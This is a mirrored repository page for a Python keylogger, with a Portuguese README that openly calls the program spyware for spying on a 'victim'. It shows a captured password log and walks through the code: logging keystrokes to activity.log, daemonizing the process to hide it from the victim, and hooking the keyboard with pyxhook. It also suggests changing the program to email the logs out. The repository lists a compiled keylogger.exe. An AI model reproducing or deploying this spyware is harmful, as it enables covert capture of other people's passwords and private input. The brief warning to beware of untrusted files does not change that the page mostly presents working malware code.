keylogger - GitLite

KO | EN

gitlite — search

#tensorflow #redis #claude-code #nlp #android #ai #nextjs #typescript #automation #chatbot

keylogger

(★ 49)

Keylogger em Python

파일 탐색기

ZIP 다운로드

- keylogger.exe
- keylogger.py
- LICENSE
keylogger.py
README.md

# CDN으로 사용하기

jsDelivr

jsDelivr는 공개 GitHub 리포지토리를 별도 설정 없이 CDN으로 즉시 서빙합니다. 버전과 파일을 고르면 웹페이지에 바로 붙일 수 있는 링크와 예시 코드가 만들어집니다.

버전

파일

링크

예시

명령어 용어집

이 문서에서 사용된 명령어를 모아봤습니다. 낯선 명령어가 있다면 펼쳐서 확인해보세요.

🔍

`python`

설명 보기 ▼

Python 언어 인터프리터.
더 많은 정보: <https://docs.python.org/using/cmdline.html>.

python

REPL(대화형 셸) 시작:

python {{path/to/file.py}}

특정 Python 파일 실행:

python -i {{path/to/file.py}}

특정 Python 파일 실행 후 REPL 시작:

🔍

`daemon`

설명 보기 ▼

프로세스를 데몬으로 실행.
더 많은 정보: <https://manned.org/daemon.1>.

daemon {{[-n|--name]}} "{{name}}" {{command}}

명령어를 데몬으로 실행:

daemon {{[-n|--name]}} "{{name}}" {{[-r|--respawn]}} {{command}}

명령어를 데몬으로 실행하고, 충돌 시 재시작:

daemon {{[-n|--name]}} "{{name}}" {{[-r|--respawn]}} {{[-A|--attempts]}} 2 {{[-L|--delay]}} 10 {{command}}

충돌 시 재시작하는 데몬으로 명령어를 실행하며, 10초마다 두 번 시도:

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

Existem muitas maneiras de espionar a vítima. Nosso **spyware** é representado pelo **keylogger**, um programa simples que monitora as teclas pressionadas no teclado e pode ver tudo o que você digita. Este **keylogger** é implementado no arquivo `keylogger.py`.

#### Demonstração de comportamento

Não precisamos de nenhuma preparação específica antes da execução do keylogger (`./keylogger.py`). Podemos observar que após a execução nada aconteceu e podemos digitar novos comandos, assim como no caso de pressionarmos apenas a tecla `Enter`. Agora você pode fazer em seu sistema o que quiser. Para a demonstração, você pode abrir um navegador e digitar algo como `Passwd` representando sua senha em potencial, assim como faria em qualquer página de login de sua mídia social.

Agora você pode ver que na mesma pasta que nosso **keylogger** está localizado um novo arquivo `activity.log`. Observando o arquivo você pode ver que ele contém todas as teclas que você pressionou em seu teclado após a execução, incluindo sua senha `Passwd`. O invasor pode acessar facilmente esses arquivos e modificar o keylogger para enviá-los em um endereço de e-mail específico ou com uma combinação de diferentes tipos de malware, ele pode obter acesso direto a eles via rede.

```
Key: P
Key: a
Key: s
Key: s
Key: w
Key: d
```

A criação do **keylogger** é um processo muito simples, conforme descrito abaixo e qualquer pessoa pode fazê-lo apenas com um conhecimento básico de programação e compreensão de sistemas operacionais. É por isso que devemos ser sempre cuidadosos quando executamos qualquer arquivo incomum ou não confiável.

#### Como funciona?

- Em primeiro lugar, configuramos nosso logger. Podemos especificar o arquivo no qual devem ser armazenados os dados, bem como o formato da mensagem.
   ```python
   logging.basicConfig(
       level=logging.DEBUG,
       filename='activity.log',
       format='Key: %(message)s',
   )
   ```
 - Então temos que obter o manipulador do arquivo de log. Explicaremos o porquê no próximo passo.
   ```python
   handler = logging.getLogger().handlers[0].stream
   ```
 - Para tornar nosso spyware mais difícil de ser detectado pela vítima, queremos que ele seja executado em segundo plano como um **daemon**.
   Para saber mais sobre daemons, consulte [o guia de daemons](https://kb.iu.edu/d/aiau). Para este propósito nós
   usará um módulo Python padrão `daemon` que nos permitirá daemonizar nosso **keylogger**.
   Quando o daemon for criado, perderemos conexões com todos os manipuladores de arquivos como `stdout` ou mesmo
   nosso arquivo de log, a menos que especifiquemos que os arquivos devem ser preservados. Por isso obtivemos
   manipulador de arquivo de log na etapa anterior. No contexto do nosso daemon oculto, agora podemos criar o
   keylogger e inicie sua atividade.
   ```python
   # Daemonize the process to hide it from the victim.
   with daemon.DaemonContext(files_preserve=[handler]):
       # Create keylogger.
       keylogger = Keylogger('SimpleSpyware')
       # Start logging activity of the user.
       keylogger.start_logging()
   ```
  - Para obter os _key press events_ podemos usar um módulo python para Linux chamado `pyxhook`. Se nós
    criaria um keylogger para Windows, devemos usar o módulo `pyHook`, mas sua interface é
    muito parecido. Criamos um **gerenciador de ganchos**, que gerenciará o tratamento de eventos e nos permitirá
    definir um retorno de chamada para esses eventos. Callback é no nosso caso uma função que será chamada cada vez que um novo
    evento é obtido (__keydown_callback_). A única coisa que esse método faz é registrar a chave em nosso
    arquivo especificado `activity.log`.
    ```python
    hook_manager = pyxhook.HookManager()
    # Assign callback for handling key strokes.
    hook_manager.KeyDown = self._keydown_callback
    # Hook the keyboard and start logging.
    hook_manager.HookKeyboard()
    hook_manager.start()
    ```